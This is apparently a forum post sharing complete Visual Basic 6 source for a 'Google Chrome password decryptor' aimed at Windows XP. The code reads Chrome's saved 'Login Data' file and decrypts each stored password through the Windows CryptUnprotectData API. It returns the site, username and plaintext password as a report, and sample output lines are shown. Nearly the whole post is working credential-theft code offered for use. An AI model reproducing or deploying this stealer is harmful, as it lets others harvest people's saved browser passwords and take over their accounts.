[VB6] Дешифратор паролей Google Chrome

[Apple96]

Работает только на Windows XP
Отчёты выглядят так:
ww.mail.ru/username=TestPassword=Test
ww.facebook.com/[email protected]=Test

'Gracias a: http://insecurety.net/?p=299
'UnProtectData: http://www.mvps.org/emorcillo/en/code/vb6/protect.shtml
'Como usar:
'Dim Claves_Passwords As String
'Claves_Passwords = Get_Chrome_Pass()
'Autor: Pink-Danyfirex
 
 
 Option Explicit
Private Const CSIDL_LOCAL_APPDATA = &H1C&
 
 Private Type CRYPTPROTECT_PROMPTSTRUCT
   cbSize As Long
   dwPromptFlags As Long
   hwndApp As Long
   szPrompt As Long
End Type
 
 
Private Type CRYPTOAPI_BLOB
   cbData As Long
   pbData As Long
End Type
 
 
Private Declare Function SHGetFolderPath Lib "shfolder" Alias "SHGetFolderPathA" (ByVal hwndOwner As Long, ByVal nFolder As Long, ByVal hToken As Long, ByVal dwFlags As Long, ByVal pszPath As String) As Long
 
 
Private Declare Function CryptUnprotectData Lib "crypt32.dll" ( _
   pDataIn As Any, _
   ppszDataDescr As Long, _
   pOptionalEntropy As Any, _
   ByVal pvReserved As Long, _
   pPromptStruct As Any, _
   ByVal dwFlags As Long, _
   pDataOut As Any) As Long
 
 
Private Declare Sub MoveMemory Lib "kernel32" _
    Alias "RtlMoveMemory" ( _
    Dest As Any, Src As Any, ByVal Ln As Long)
 
 
Private Declare Function LocalFree Lib "kernel32" (ByVal Ptr As Long) As Long
 
 
Enum ProtectDataPromptFlags
   PromptOnUnprotect = &H1
   PromptOnProtect = &H2
   Strong = &H8
   RequireStrong = &H10
End Enum
 
 
Enum ProtectDataFlags
   UIForbidden = &H1
   LocalMachine = &H4
   CredSync = &H8
   Audit = &H10
   NoRecovery = &H20
   VerifyProtection = &H40
   CredRegenerate = &H80
End Enum
 
 
Global Claves As String
 
 
Public Function Get_Chrome_Pass() As String
Getit
Get_Chrome_Pass = Claves
Claves = ""
End Function
 
 
 
 
Sub Getit()
Dim str1 As String
Dim str2 As String
Dim inicio As Long
Dim fin As Long
Dim sDBdatos As String
Dim Datos As String
Dim Ruta As String
Dim largoclave As Long
Dim finclave As Long
Dim clavebytes() As Byte
Dim clavestr As String
Dim clavesecifrada As String
Dim yclavedesifrada() As Byte
Dim finurl As Long
Dim i As Long
Dim Url As String
Static postinicio As Long
 
 
If postinicio = 0 Then
postinicio = 1
End If
 
 
Ruta = SpecialFolder(CSIDL_LOCAL_APPDATA) & "\Google\Chrome\User Data\Default\Login Data"
If Dir$(Ruta) = "" Then Exit Sub
str1 = "http"
str2 = Chr(&H1&) & Chr(&H0&) & Chr(&H0&) & Chr(&H0&) & Chr(&HD0&) & Chr(&H8C&) & _
Chr(&H9D&) & Chr(&HDF&) & Chr(&H1&) & Chr(&H15&) & Chr(&HD1&) & Chr(&H11&) & Chr(&H8C&) & _
Chr(&H7A&) & Chr(&H0&) & Chr(&HC0&) & Chr(&H4F&) & Chr(&HC2&) & Chr(&H97&) & Chr(&HEB&)
 
 
Open Ruta For Binary As #1
sDBdatos = Space(LOF(1))
Get #1, , sDBdatos
Close #1
 
 
inicio = InStr(postinicio, sDBdatos, str1)
If inicio = 0 Then postinicio = 0: Exit Sub
 
 
 
 
fin = InStr(postinicio, sDBdatos, str2)
If fin = 0 Then postinicio = 0: Exit Sub
 
 
Datos = Mid(sDBdatos, inicio, fin - inicio)
 
 
finurl = InStr(1 + Len(str1), Datos, str1)
Url = Mid(Datos, 1, finurl - 1)
 
 
Datos = Replace(Datos, Url, "", 1, 1)
 
 
finclave = InStr(fin, sDBdatos, str1)
 
 
largoclave = finclave - fin
clavestr = Mid(sDBdatos, fin, finclave)
 
 
clavebytes() = StrConv(clavestr, vbFromUnicode)
 
 
yclavedesifrada() = UnProtectData(clavebytes())
For i = 0 To UBound(yclavedesifrada())
clavesecifrada = clavesecifrada & Chr(yclavedesifrada(i))
Next
 
 
postinicio = finclave + Len(str1)
 
 
Claves = Claves & Datos & "=" & clavesecifrada & vbCrLf
Getit
 
 
End Sub
 
 
Private Function SpecialFolder(pfe As Long) As String
    Const MAX_PATH = 260
    Dim strPath As String
    Dim strBuffer As String
    
    strBuffer = Space$(MAX_PATH)
    If SHGetFolderPath(0, pfe, 0, 0, strBuffer) = 0 Then strPath = Left$(strBuffer, InStr(strBuffer, vbNullChar) - 1)
    If Right$(strPath, 1) = "\" Then strPath = Left$(strPath, Len(strPath) - 1)
    SpecialFolder = strPath
End Function
 
 
 
 
 
 
 
 
Public Function UnProtectData( _
   Data() As Byte, _
   Optional DataDescription As String, _
   Optional ByVal ParentWnd As Long, _
   Optional ByVal DialogTitle As String, _
   Optional ByVal Flags As ProtectDataFlags = LocalMachine, _
   Optional ByVal PromptFlags As ProtectDataPromptFlags) As Byte()
Dim tBlobIn As CRYPTOAPI_BLOB
Dim tBlobOut As CRYPTOAPI_BLOB
Dim tPS As CRYPTPROTECT_PROMPTSTRUCT
Dim abData() As Byte
Dim lPtr As Long
Dim lRes As Long
 
 
   ' Fill the blob structure
   With tBlobIn
      .cbData = UBound(Data) - LBound(Data) + 1
      .pbData = VarPtr(Data(0))
   End With
   
   With tPS
      .cbSize = Len(tPS)
      .hwndApp = ParentWnd
      .dwPromptFlags = PromptFlags
      If Len(DialogTitle) Then .szPrompt = StrPtr(DialogTitle)
   End With
   
   ' Unprotect the data
   lRes = CryptUnprotectData( _
            tBlobIn, _
            lPtr, _
            ByVal 0&, _
            0&, _
            tPS, _
            Flags, _
            tBlobOut)
   If lRes = 0 Then Err.Raise &H80070000 Or Err.LastDllError
      
   ' Copy the data to a byte array
   ReDim abData(0 To tBlobOut.cbData - 1)
   MoveMemory abData(0), ByVal tBlobOut.pbData, tBlobOut.cbData
   
   ' Get the description
   'DataDescription = ptr2str(lPtr)
   
   ' Return the data
   UnProtectData = abData
   
   ' Release the returned data pointer
   LocalFree tBlobOut.pbData
   LocalFree lPtr
   
End Function